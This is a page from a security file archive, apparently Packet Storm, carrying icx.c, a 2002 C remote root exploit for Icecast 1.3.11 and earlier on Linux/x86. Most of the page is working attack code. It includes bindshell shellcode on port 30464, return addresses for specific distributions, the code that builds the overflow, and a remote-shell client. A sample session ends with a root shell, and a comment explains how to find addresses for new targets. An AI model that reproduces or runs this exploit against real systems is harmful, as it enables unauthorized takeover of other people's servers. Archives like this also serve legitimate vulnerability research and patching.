what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

icx.c

icx.c
Posted Apr 2, 2002
Authored by Bab Boon

Icecast v1.3.11 and below remote root exploit for linux/x86. Binds a shell to port 30464. Tested against SuSE 7.2, Debian 2.2r2, and Slackware 8.0.

tags | exploit, remote, shell, x86, root
systems | linux, suse, slackware, debian
SHA-256 | 15679ffcee48c2b319d6b32319e3a3603c8e5e5f6e3e6fdca3e63eba9856f9bd

icx.c

Change Mirror Download
/*  all content is (c) #temp 2002 and may not be
* (re)published in any form or (re)distributed
* without written permission of the author (diz)
*
*
* icx.c -- icecast remote shell/root
*
*
* Found 15-02-2002...exploited 16-02-2002 ;P
*
* Affected:
* all versions up to 1.3.11 (current)
*
* the client_login() function is passed the full GET %s HTTP/1.0
* string provided by a mp3 client. Somewhere along the way an evil
* string function overflows buffer bounds with our humpage.. We can
* overflow just enough to reach and overwrite an instruction pointer.
* Humpage occurs somewhere in the handling of the request string
* between mount searching and request building...Havent been able
* to locate the exact spot as of yet (just discovered bug yesterday
* investigating another possible overflow in icecast extract_vars()
* funtion) Also some libavl routines look mighty guilty..especially
* avl_destroy. I cant really be bothered to check all entry points.
*
* This is why:
*
* root@blackout:/home/diz/audits/icecast-1.3.11/src > grep strcpy all.c | wc -w
* 284
* root@blackout:/home/diz/audits/icecast-1.3.11/src > grep sprintf all.c | wc -w
* 568
* root@blackout:/home/diz/audits/icecast-1.3.11/src > grep strcat all.c | wc -w
* 68
* root@blackout:/home/diz/audits/icecast-1.3.11/src >
*
*
* A quick and dirty patch is to check and make sure the length of expr does not
* surpass 8000 bytes ala in client_login() in /src/client.c and recompile:
*
* // dirty fix
* if(strlen(expr) > 8000)
* return;
* // end of dirty fix
*
* What can we do:
*
* We can either overwrite a framepointer and make the process pop an
* instruction pointer out of memory we control. Or overflow eip directly.
*
* We go for the direct eip hump(tm)
*
* For framepointer humpage:
*
* Finding the address to overflow ebp with to make esp
* point into the start of our buffer is easy..just gdb the
* target platform icecast binary and set a breakpoint in
* the client_login() function..output will be like this
*
* ...
* Breakpoint 1, 0x804af49 in client_login (con=0x808d0f0, expr=0xbf3fdaf4
* "GET ", 'x' <repeats 196 times>...) at client.c:97
* 97 void client_login(connection_t *con, char *expr)
* ...
*
* expr is a pointer to our original string..so we know that
* is the start of our string in memory. Luck would have it we can just
* use that exact address and with pop incrementing it works out
* to be correct and point to the start of our eip bytes :)
* or into nops on a normal overflow. (which we will be doing)
*
* !!! Attention:
*
* When we just go for eip in one go we also need this address because
* icecast will only give us one go :( so we can't offset and brute it
* allthough we CAN pad with 7000+ nops..so finding a decent one go
* compromise shouldnt be that much of a problem :)
*
* diz - #temp
*
* special word to pip and blink for helping me gather expr addresses
*
* word to: eric, n0b0dy, muska, alcapone, sj, primalux, vonguard
* khromy, jesse666 and r0ss
*
* !!! A big "we hope leprosy strikes thee down!" to 2600.net !!!
*
* to compile standard overflow sploit: gcc icx.c -o icx
* to compile framepointer overflow sploit: gcc icx.c -o icx -DFPO
*
* note: for practical exploit usage just use standard mode
* framepointer bits are left in cuz Im toying with them
*
* this version is meant for linux x86 targets
*
* PATCHES!?!?! WE DON'T NEED NO STINKIN PATCHES!!!
*/

/*

root@blackout:/usr/local/icecast/bin > ./icecast
Icecast Version 1.3.11 Initializing...
Icecast comes with NO WARRANTY, to the extent permitted by law.
You may redistribute copies of Icecast under the terms of the
GNU General Public License.
For more information about these matters, see the file named COPYING.
Starting thread engine...
[16/Feb/2002:15:39:33] Icecast Version 1.3.11 Starting..
[16/Feb/2002:15:39:33] Starting Admin Console Thread...
-> [16/Feb/2002:15:39:33] Starting main connection handler...
-> [16/Feb/2002:15:39:33] Listening on port 8000...
-> [16/Feb/2002:15:39:33] Listening on port 8001...
-> [16/Feb/2002:15:39:33] Using 'blackout' as servername...
-> [16/Feb/2002:15:39:33] Server limits: 900 clients, 900 clients per
source, 10 sources, 5 admins
-> [16/Feb/2002:15:39:33] WWW Admin interface accessible at
http://blackout:8000/admin
-> [16/Feb/2002:15:39:33] Starting Calender Thread...
-> [16/Feb/2002:15:39:33] Starting UDP handler thread...
-> [16/Feb/2002:15:39:33] Starting relay connector thread...
-> -> [16/Feb/2002:15:39:33] [Bandwidth: 0.000000MB/s] [Sources: 0]
[Clients: 0] [Admins: 1] [Uptime: 0 seconds]
->

// this was a target compiled from source on my machine

diz@blackout:~/code/dizcode > ./icx -h blackout -p 8000 -b 0xbf3fdaf4 -a 1
[ icx -- icecast humpage -- diz (#temp) ]
! resolving server: blackout
! compiled as standard overflow version
! using 0xbf3fdb58 as eip address
! sending string
! giving remote time to setup shop...zzz
! attempting to connect to bindshell
! connected to remote shell :)
$ id
uid=0(root) gid=0(root) groups=0(root),1(bin),14(uucp),15(shadow),16(dialout),17(audio),33(video),65534(nogroup)
$ exit
! done
diz@blackout:~/code/dizcode >

*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

#define ALLIGN 0
#define NOP 0x90

#define STRING "GET %s%s HTTP/1.0\n\n"

char allignbuf[4];
char outbuf[8206];
char nopbuf[512];

#ifdef FPO
char humpbuf[8182]; // 8181 bytes to hit ebp
#else
char humpbuf[8186]; // 8185 bytes to overwrite ebp and eip ( minus 4 for BSD hosts)
#endif

char code[] =
// taeho oh bindshell code -- binds to port 30464
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
"\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
"\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
"\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
"\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
"\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
"\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
"\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
"\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
"\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";


struct info {
char *host;
char *ip;
int port;
int allign;
u_long address;
} icx;

void type(int type);
void handleshell(int sock);

int main(int argc, char **argv)
{
struct sockaddr_in slut;
struct hostent *ip;
int s, b, len = 0, i;
u_int w[4], eip[4];
char *temp, c;

if(argc == 1) {
fprintf(stderr, "Usage: %s -h <host> -p <icecast port> [ -t <type> ] OR [ -a <allign> -b <address of *expr> ]\n", argv[0]);
fprintf(stderr, "\nTypes are (linux version):\n\n");
fprintf(stderr, "------------------------------------------------\n");
fprintf(stderr, "(1) SuSE 7.2 icecast 1.3.10 (rpm)\n");
fprintf(stderr, "(2) debian 2.2.r2 sid icecast 1.3.11 (deb)\n");
fprintf(stderr, "(3) slackware 8.0.0 (åtta) icecast 1.3.11 (tgz)\n");
fprintf(stderr, "------------------------------------------------\n\n");
fprintf(stderr, "[ read comments on how to aquire new targets ]\n\n");
exit(1);
}

fprintf(stderr, "[ icx -- icecast humpage -- diz (#temp) ]\n");

// default allign
icx.allign = ALLIGN;


while((c = getopt(argc, argv, "h:p:a:b:t:")) != EOF) {
switch(c) {
case 'h':
icx.host = optarg;
break;
case 'p':
icx.port = atoi(optarg);
break;
case 'b':
sscanf(optarg, "%p", &temp);
icx.address = (long)temp;
break;
case 'a':
icx.allign = atoi(optarg);
break;
case 't':
type(atoi(optarg));
break;
default:
fprintf(stderr, "! huh ?\n");
exit(1);
}
}

fprintf(stderr, "! resolving server: %s\n", icx.host);

if((ip = gethostbyname(icx.host)) == NULL) {
perror("! gethostbyname");
exit(1);
}

icx.ip = (char *)inet_ntoa(*((struct in_addr *)ip->h_addr));

s = socket(AF_INET, SOCK_STREAM, 0);
slut.sin_family = AF_INET;
slut.sin_port = htons(icx.port);
slut.sin_addr.s_addr = inet_addr(icx.ip);
memset(&(slut.sin_zero), '\0', 8);


// setting overflow address

#ifdef FPO

icx.address += icx.allign;

#else

icx.address += 100; // pointing into nops in *expr

#endif

#ifdef FPO

fprintf(stderr, "! compiled as frame pointer overflow version\n");
fprintf(stderr, "! using 0x%lx as ebp address\n", icx.address);

#else

fprintf(stderr, "! compiled as standard overflow version\n");
fprintf(stderr, "! using 0x%lx as eip address\n", icx.address);

#endif

// sort out overflow bytes
w[0] = (icx.address & 0x000000ff);
w[1] = (icx.address & 0x0000ff00) >> 8;
w[2] = (icx.address & 0x00ff0000) >> 16;
w[3] = (icx.address & 0xff000000) >> 24;


// setting the eip address make sure it points into nops
// allthough there are no nops to point into yet..behe

#ifdef FPO

icx.address += (16 + icx.allign + 100);

fprintf(stderr, "! using 0x%lx as eip address\n", icx.address);

// sort out eip pop bytes
eip[0] = (icx.address & 0x000000ff);
eip[1] = (icx.address & 0x0000ff00) >> 8;
eip[2] = (icx.address & 0x00ff0000) >> 16;
eip[3] = (icx.address & 0xff000000) >> 24;

#endif

// fill nop buffer
memset(&nopbuf, '\0', sizeof(nopbuf));
for(i = 0; i < sizeof(nopbuf); i++)
nopbuf[i] = NOP;

// allign
memset(&allignbuf, '\0', sizeof(allignbuf));
for(i = 0; i < icx.allign && i < sizeof(allignbuf); i++)
allignbuf[i] = 'x';

memset(&humpbuf, '\0', sizeof(humpbuf));

#ifdef FPO

// place eip read bytes 4 times
for(i = 0, b = 0; i < 16; i++, b++) {
if(b == 4) b = 0;
humpbuf[i] = (char)eip[b];
}

// sprintf(&humpbuf[16], "%s%s", nopbuf, code);

#else

sprintf(&humpbuf[0], "%s%s", nopbuf, code);

#endif

// filling rest of string with garbage bytes
// be sure to take the length of nops + shellcode
// into account when the string contains them

#ifdef FPO

//! fp poop
for(i = 16; i < (sizeof(humpbuf) - 1); i++)
humpbuf[i] = 'x';

#else

// take length off shellcode and nops into account when we have some
for(i = (strlen(nopbuf) + strlen(code)); i < (sizeof(humpbuf) - 1); i++)
humpbuf[i] = 'x';

#endif


// making last 8 bytes overflow bytes (be it ebp..be it eip)
humpbuf[sizeof(humpbuf) - 9] = (char)w[0];
humpbuf[sizeof(humpbuf) - 8] = (char)w[1];
humpbuf[sizeof(humpbuf) - 7] = (char)w[2];
humpbuf[sizeof(humpbuf) - 6] = (char)w[3];

humpbuf[sizeof(humpbuf) - 5] = (char)w[0];
humpbuf[sizeof(humpbuf) - 4] = (char)w[1];
humpbuf[sizeof(humpbuf) - 3] = (char)w[2];
humpbuf[sizeof(humpbuf) - 2] = (char)w[3];


// connecting and going for the hump
if(connect(s, (struct sockaddr *)&slut, sizeof(struct sockaddr)) == -1) {
perror("! connect");
exit(1);
}
else {
memset(&outbuf, '\0', sizeof(outbuf));
snprintf(outbuf, sizeof(outbuf), STRING, allignbuf, humpbuf);

#ifdef DEBUG
for(i = 0; i < sizeof(outbuf); i++)
fprintf(stderr, "! byte %d [ 0x%x ]\n", i, outbuf[i]);
#endif

do {
fprintf(stderr, "! sending string\n");
len += send(s, outbuf, strlen(outbuf), 0);
}
while(len < strlen(outbuf));

close(s);

fprintf(stderr, "! giving remote time to setup shop...zzz\n");
sleep(5);

fprintf(stderr, "! attempting to connect to bindshell\n");
s = socket(AF_INET, SOCK_STREAM, 0);
slut.sin_port = htons(30464);
if(connect(s, (struct sockaddr *)&slut, sizeof(struct sockaddr)) == -1) {
perror("! connect");
fprintf(stderr, "! check 30464 with nc in case target was slow\n");
exit(1);
}
else {
fprintf(stderr, "! connected to remote shell :)\n");
handleshell(s);
}
}

fprintf(stderr, "! done\n");
exit(0);
}

void type(int type)
{
// suse 7.2 1.3.10 (rpm)
if(type == 1) {
icx.address = 0xbf3fdaf4;
icx.allign = 0;
return;
}

// debian 2.2.r2 sid 1.3.11 (deb)
if(type == 2) {
icx.address = 0xbeffdaf4;
icx.allign = 0;
return;
}

// slackware 8.0.0 (åtta) 1.3.11 (tgz)
if(type == 3) {
icx.address = 0xbeffdaf4;
icx.allign = 0;
return;
}

fprintf(stderr, "! type not found..exiting\n");
exit(1);
}


void handleshell(int sock)
{
char inbuf[4096], outbuf[1024];

fd_set fdset;
fprintf(stderr, "$ ");

while(1) {

FD_ZERO(&fdset);
FD_SET(fileno(stdin), &fdset);
FD_SET(sock, &fdset);

select(sock + 1, &fdset, NULL, NULL, NULL);

if(FD_ISSET(fileno(stdin), &fdset)) {
memset(outbuf, '\0', sizeof(outbuf));
fgets(outbuf, sizeof(outbuf), stdin);
if(strstr(outbuf, "exit") != NULL) {
close(sock);
return;
}
if(write(sock, outbuf, strlen(outbuf)) < 0) {
fprintf(stderr, "! write error\n");
return;
}
}

if(FD_ISSET(sock, &fdset)) {
memset(inbuf, '\0', sizeof(inbuf));
if(read(sock, inbuf, sizeof(inbuf)) < 0) {
fprintf(stderr, "! read error\n");
return;
}
fputs(inbuf, stderr);
fprintf(stderr, "$ ");
}
}
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close